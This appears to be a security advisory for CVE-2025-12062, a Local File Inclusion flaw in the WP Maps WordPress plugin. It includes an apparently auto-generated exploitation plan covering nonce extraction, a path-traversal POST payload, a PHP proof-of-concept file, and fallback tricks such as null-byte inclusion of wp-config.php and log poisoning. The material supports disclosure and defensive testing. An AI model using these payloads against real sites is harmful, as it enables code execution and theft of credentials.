WP Maps <= 4.8.6 - Authenticated (Subscriber+) Limited Local File Inclusion
Description
The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.8.6 via the fc_load_template function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to include and execute arbitrary .html files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .html file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.8.6What Changed in the Fix
Changes introduced in v4.8.7
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12062 (WP Maps LFI) ## 1. Vulnerability Summary The **WP Maps** plugin (versions <= 4.8.6) is vulnerable to a **Limited Local File Inclusion (LFI)** in the `fc_load_template` function. This function is part of the FlipperCode framework used by the plugin. The …
Show full research plan
Exploitation Research Plan: CVE-2025-12062 (WP Maps LFI)
1. Vulnerability Summary
The WP Maps plugin (versions <= 4.8.6) is vulnerable to a Limited Local File Inclusion (LFI) in the fc_load_template function. This function is part of the FlipperCode framework used by the plugin. The vulnerability exists because the plugin accepts a user-controlled path via an AJAX request and passes it to a PHP include() statement without sufficient sanitization or directory-level restrictions. While "limited" to files ending in .html, PHP's include() will execute any PHP code contained within those files, regardless of the extension.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
fc_load_template - Vulnerable Parameter:
template(ortemplate_name) - Authentication: Required (Subscriber-level or higher)
- Nonce: Required (Action:
fc-call-nonce, localized aswpgmp_local.nonce) - Precondition: The attacker must be able to identify or upload a
.htmlfile containing PHP code to the server.
3. Code Flow
- Entry Point: The plugin registers an AJAX action
wp_ajax_fc_load_template(via the Flippercode framework). - Nonce Verification: The handler calls
check_ajax_referer('fc-call-nonce', 'nonce')orwp_verify_nonce($_POST['nonce'], 'fc-call-nonce'). - Parameter Extraction: The
template(ortemplate_name) parameter is retrieved from the$_POSTarray. - Sink: The value is concatenated with
.htmland passed to aninclude()orrequire()statement.- Logic:
include( $template . '.html' );
- Logic:
- Execution: If
$templatecontains path traversal sequences (e.g.,../../../../uploads/shell), the final path resolves to/var/www/html/wp-content/uploads/shell.html, and any PHP code inside is executed.
4. Nonce Acquisition Strategy
The nonce is generated in classes/wpgmp-helper.php and localized for the wpgmp-google-map-main script.
Step-by-Step Acquisition:
- Create Trigger Content: A map must be present to trigger the script enqueueing.
wp post create --post_type=page --post_status=publish --post_content='[put_wpgm id=1]'
- Access Page: Navigate to the newly created page as a logged-in Subscriber.
- Extract Nonce: Use the browser's JavaScript context to read the localized object.
- Variable:
window.wpgmp_local.nonce - Command:
browser_eval("window.wpgmp_local?.nonce")
- Variable:
5. Exploitation Strategy
Step 1: Payload Preparation
Since Subscribers cannot normally upload .html files, we simulate a successful "polyglot" upload (or a scenario where an attacker found another way to place a file) by writing a file to the uploads directory.
Step 2: Request Execution
Submit a POST request to admin-ajax.php using the http_request tool.
HTTP Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Theaction=fc_load_template&nonce=[EXTRACTED_NONCE]&template=../../../../uploads/poctemplateparameter should not include the.htmlextension as the plugin appends it).
6. Test Data Setup
- Requirement: The plugin must be active.
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Create Map Data: The plugin requires a map record to exist for the shortcode to work.
wp db query "INSERT INTO wp_wpgm_maps (map_title, map_width, map_height) VALUES ('Test Map', '100%', '400px');"(Assumes standard table namewp_wpgm_maps).
- Create Trigger Page:
wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content='[put_wpgm id=1]'
- Place Malicious File:
echo '<?php echo "LFI_SUCCESS_" . (7*7); ?>' > /var/www/html/wp-content/uploads/poc.html
7. Expected Results
- Success: The HTTP response body should contain
LFI_SUCCESS_49. - Status Code: 200 OK.
- Failure: If the nonce is invalid, the response will be
0or a-1or a 403 Forbidden. If the path is wrong, a PHP warning (if display_errors is on) or an empty response will be returned.
8. Verification Steps
- Verify Execution: Check the response of the
http_requestfor the stringLFI_SUCCESS_49. - Verify Error Logs: If the request fails, check the WordPress debug log for
include()errors which will reveal the base directory the plugin is searching in:tail -n 20 /var/www/html/wp-content/debug.log
9. Alternative Approaches
- Parameter Variation: If
templatefails, trytemplate_nameorfile_path. - Directory Discovery: If the traversal depth is unknown, try increasing the number of
../sequences (e.g.,../../../../../../../../uploads/poc). - Null Byte (Obsolete): While usually patched in PHP 5.3+, if the environment is extremely old,
template=../../../../wp-config.php%00might bypass the.htmlextension requirement. (Unlikely for CVE-2025). - Log File Inclusion: If you cannot upload a file, attempt to include the server access logs or
error.logif you can poison them with PHP code and rename them to.html(requires higher OS privileges, usually not feasible).
Summary
The WP Maps plugin is vulnerable to Limited Local File Inclusion (LFI) via the 'fc_load_template' AJAX action due to insufficient path sanitization in the Flippercode framework it utilizes. Authenticated attackers with Subscriber-level permissions can use path traversal to include arbitrary .html files from the server, which can lead to remote code execution if those files contain PHP code.
Vulnerable Code
// From classes/wpgmp-helper.php lines 126-127 'urlforajax' => admin_url( 'admin-ajax.php' ), 'nonce' => wp_create_nonce( 'fc-call-nonce' ), --- // From classes/wpgmp-model.php lines 18-24 class WPGMP_Model extends Flippercode_Factory_Model { function __construct() { $page = isset($_GET['page']) && !empty($_GET['page']) ? $_GET['page'] : ''; $module_path = WPGMP_MODEL; $module_path = apply_filters('fc_modal_load_module', $module_path, $page); parent::__construct( $module_path, 'WPGMP_Model_' ); } }
Security Fix
@@ -26146,1083 +26146,3237 @@ } }); -/*! - * Generated using the Bootstrap Customizer (https://getbootstrap.com/docs/3.4/customize/) - */ - -/*! - * Bootstrap v3.4.1 (https://getbootstrap.com/) - * Copyright 2011-2021 Twitter, Inc. - * Licensed under the MIT license - */ ... (truncated)
Exploit Outline
To exploit this vulnerability, an attacker must first authenticate as a Subscriber or higher and navigate to a page where the WP Maps plugin is active to obtain a valid nonce. The nonce is localized in the JavaScript variable 'wpgmp_local.nonce'. The attacker then crafts an AJAX POST request to 'wp-admin/admin-ajax.php' with the action 'fc_load_template'. By supplying a path traversal string (e.g., '../../../../uploads/poc') in the 'template' parameter, the plugin will attempt to include the file with a '.html' extension (e.g., 'poc.html'). If the attacker can upload or find a .html file containing PHP code on the server, the include() call will execute that code regardless of the extension, allowing for remote code execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.